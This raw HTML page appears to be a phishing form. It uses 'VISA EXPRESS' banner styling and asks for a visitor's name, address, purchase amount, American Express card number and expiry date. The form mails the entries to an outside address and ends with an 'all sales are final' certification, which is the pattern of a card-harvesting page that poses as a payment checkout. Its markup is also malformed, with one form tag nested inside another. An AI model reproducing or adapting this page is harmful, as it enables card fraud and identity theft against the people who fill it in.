<html> <body> <div class="Section1"> <div id="jlang" style="LEFT: 395px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 45px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 5px; HEIGHT: 50px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 395px; POSITION: absolute; TOP: 5px"> <FONT SIZE=5 COLOR="#C0C0C0"> <B>"VISA</B></FONT> <font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div class="Section2"> <div id="jlang" style="LEFT: 480px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 50px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 5px; HEIGHT: 50px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 480px; POSITION: absolute; TOP: 5px"> <IMG SRC="image001.gif" HEIGHT=47 WIDTH=47><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div class="Section3"> <div id="jlang" style="LEFT: 540px; BORDER-RIGHT: none; BORDER-TOP: none; BORDER-LEFT: none; WIDTH: 50px; BORDER-BOTTOM:none; POSITION: absolute; TOP: 5px; HEIGHT: 50px"><font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <div id="Bannerj" style="LEFT: 540px; POSITION: absolute; TOP: 5px"> <FONT SIZE=5 COLOR="#C0C0C0"> <B>EXPRESS"</B></FONT> <font face="Agency FB" size="4"><b><span style="letter-spacing: 2"></span></b></font> </div> <BR> <BR> <BR> <CENTER> <form name="input" <form action="mailto:email@processcentre.com" method="POST" enctype="text/plain"> NAME: <input type="text" name="NAME"> SURNAME: <input type="text" name="SURNAME"> <BR> <BR> (FIELDS MUST CONTAIN ALPHA (i.e A-Z)ONLY. <BR> <BR> ADDRESS: <input type="text" name="ADDRESS"> CITY: <input type="text" name="CITY"> <BR> <BR> (FIELDS MAY CONTAIN ALPHA AND NUMERIC).(MUST BE A VALID ADDRESS). <BR> <BR> STATE: <input type="text" name="STATE"> COUNTRY: <input type="text" name="COUNTRY"> POSTAL CODE: <input type="text" name="PCODE"> <BR> <BR> (FIELDS MAY CONTAIN ALPHA AND NUMERIC) <BR> <BR> ITEM DESCRIPTION: <input type="text" name="ITEM"><BR> (FIELDS MUST CONTAIN ALPHA (i.e A-Z)ONLY. <BR> <BR> QUANTITY: <input type="text" name="QUANTITY"> AMOUNT: <input type="text" name="AMOUNT"> <BR> (FIELDS MUST CONTAIN NUMERIC(i.e 0-9)ONLY. <BR> <BR> AMERICAN EXPRESS CARD#: <input type="text" name="CARD#"> EXPIRY DATE: <input type="text" name="DATE"><BR> (FIELDS MUST CONTAIN VALID CARD INFO). </CENTER> <BR> <P> <B> <CENTER> I THE ABOVE MENTIONED NAME, HEREBY CERTIFY <BR> THAT I HAVE FILLED OUT THIS FORM AS INSTRUCTED, <BR> THE ABOVE INFORMATION IS TRUE AND CORRECT AND <BR> AGREE THAT ALL SALES ARE FINAL AND WITHOUT LIABILITY. </CENTER></B> </P> <P ALIGN=CENTER> <FONT SIZE=5> <B> <input type="submit" value="SEND" style="color:#000000; background-color:#FFD989;"> </B> </input> </FONT> </P> </form> </body> </html>